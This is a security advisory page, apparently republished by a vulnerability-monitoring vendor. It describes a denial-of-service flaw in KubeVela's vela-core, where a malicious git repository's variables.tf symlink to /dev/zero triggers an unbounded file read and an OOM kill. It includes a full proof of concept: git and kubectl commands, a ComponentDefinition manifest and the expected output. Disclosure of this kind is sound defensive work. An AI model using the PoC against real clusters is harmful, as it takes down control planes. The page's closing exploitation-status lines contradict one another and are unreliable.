Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-fmgp-q6jx-gg3x
Summary
KubeVela's Terraform remote configuration loader can be abused to make vela-core read an unbounded byte stream into memory, causing an out-of-memory kill and a control-plane denial of service.
The issue is reachable when a user with permission to create or update a core.oam.dev/v1beta1 ComponentDefinition registers a Terraform remote schematic that points to a malicious or compromised git repository. The repository can contain a variables.tf symlink that resolves to /dev/zero after checkout. vela-core follows the symlink and calls os.ReadFile before HCL parsing, so memory grows until the controller is OOM killed.
Details
The affected code is in pkg/controller/utils/capability.go, inside GetTerraformConfigurationFromRemote:
https://github.com/kubevela/kubevela/blob/a24d3a9c6/pkg/controller/utils/capability.go#L231-L242
tfPath := filepath.Join(cachePath, remotePath, "variables.tf")
if _, err := os.Stat(tfPath); err != nil {
tfPath = filepath.Join(cachePath, remotePath, "main.tf")
if _, err := os.Stat(tfPath); err != nil {
return "", errors.Wrap(err, "failed to find main.tf or variables.tf in Terraform configurations of the remote repository")
}
}
conf, err := os.ReadFile(filepath.Clean(tfPath))
if err != nil {
return "", errors.Wrap(err, "failed to read Terraform configuration")
}
When a ComponentDefinition uses:
schematic:
terraform:
type: remote
configuration: <git repository URL>
the controller clones the user-supplied git repository and then reads variables.tf or main.tf from the checkout. The read path is built from attacker-controlled repository contents and terraform.path, but the code does not verify:
- whether the target is a regular file;
- whether the resolved path remains inside the clone cache;
- how large the file is before reading it.
Both os.Stat and os.ReadFile follow symlinks. If the repository contains variables.tf -> ../../../../../../dev/zero, then after checkout under the default cache path this symlink resolves to /dev/zero. os.Stat succeeds, and os.ReadFile reads from /dev/zero, which never returns EOF.
The failure happens during os.ReadFile, before the content reaches HCL parsing or ParseTerraformVariables, so later validation cannot prevent the OOM.
This vulnerability also has a path-traversal-like aspect, because symlinks and terraform.path can steer the read target outside the intended repository path. However, exposing arbitrary file contents would require the read data to pass HCL parsing before anything is written to a ConfigMap. Therefore, this report focuses on the availability impact caused by the unbounded read in os.ReadFile before HCL parsing, rather than a confidentiality impact.
PoC
Prerequisites:
- KubeVela is installed with the default configuration, for example in a kind cluster:
helm install --create-namespace -n vela-system kubevela kubevela/vela-core --wait
- I reproduced this with
oamdev/vela-core:v1.10.8and avela-corememory limit of 1Gi. - The attacker has
create/updatepermissions forcore.oam.dev/v1beta1ComponentDefinitionin any namespace. - The tester can create a git repository that
vela-corecan clone.
- Create a test git repository. In the repository root, add a relative
variables.tfsymlink that resolves to/dev/zeroafter checkout, then push it:
git init poc-tf-dos && cd poc-tf-dos
ln -s ../../../../../../dev/zero variables.tf
git add variables.tf && git commit -m "poc"
git remote add origin https://github.com/<YOUR_ORG>/<YOUR_REPO>.git
git push -u origin main
- Create
poc-componentdefinition.yaml. Replaceconfigurationwith the repository URL from step 1:
apiVersion: core.oam.dev/v1beta1
kind: ComponentDefinition
metadata:
name: dos-tf
namespace: vela-system
spec:
workload:
definition:
apiVersion: apps/v1
kind: Deployment
schematic:
terraform:
type: remote
configuration: https://github.com/<YOUR_ORG>/<YOUR_REPO>.git
path: ""
The workload GVK should reference a type that exists in the cluster, such as apps/v1 Deployment.
- Apply the manifest and observe
vela-core:
kubectl apply -f poc-componentdefinition.yaml
kubectl -n vela-system get pods -l app.kubernetes.io/name=vela-core -w
- Confirm the OOMKilled termination:
kubectl get pod -n vela-system -l app.kubernetes.io/name=vela-core \
-o jsonpath='{.items[0].status.containerStatuses[0].lastState.terminated}{"\n"}'
Expected result:
"exitCode":137
"reason":"OOMKilled"
The pod may then enter CrashLoopBackOff.
If the reconcile fails with stat .../main.tf: no such file or directory, check that the symlink is relative and resolves to /dev/zero from the checkout location. If the same ComponentDefinition was already reconciled, remove the stale clone cache under /root/.vela/terraform/<name> and retry.
Impact
This is a denial-of-service vulnerability affecting KubeVela control-plane availability.
A user who can create or update ComponentDefinition objects can cause the cluster-wide vela-core controller to be OOM killed.
If vela-core has a memory limit, the impact is likely contained to repeated OOMKilled restarts of the controller Pod. If no effective memory limit is configured, the unbounded read can also pressure node memory and affect other workloads running on the same node.
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard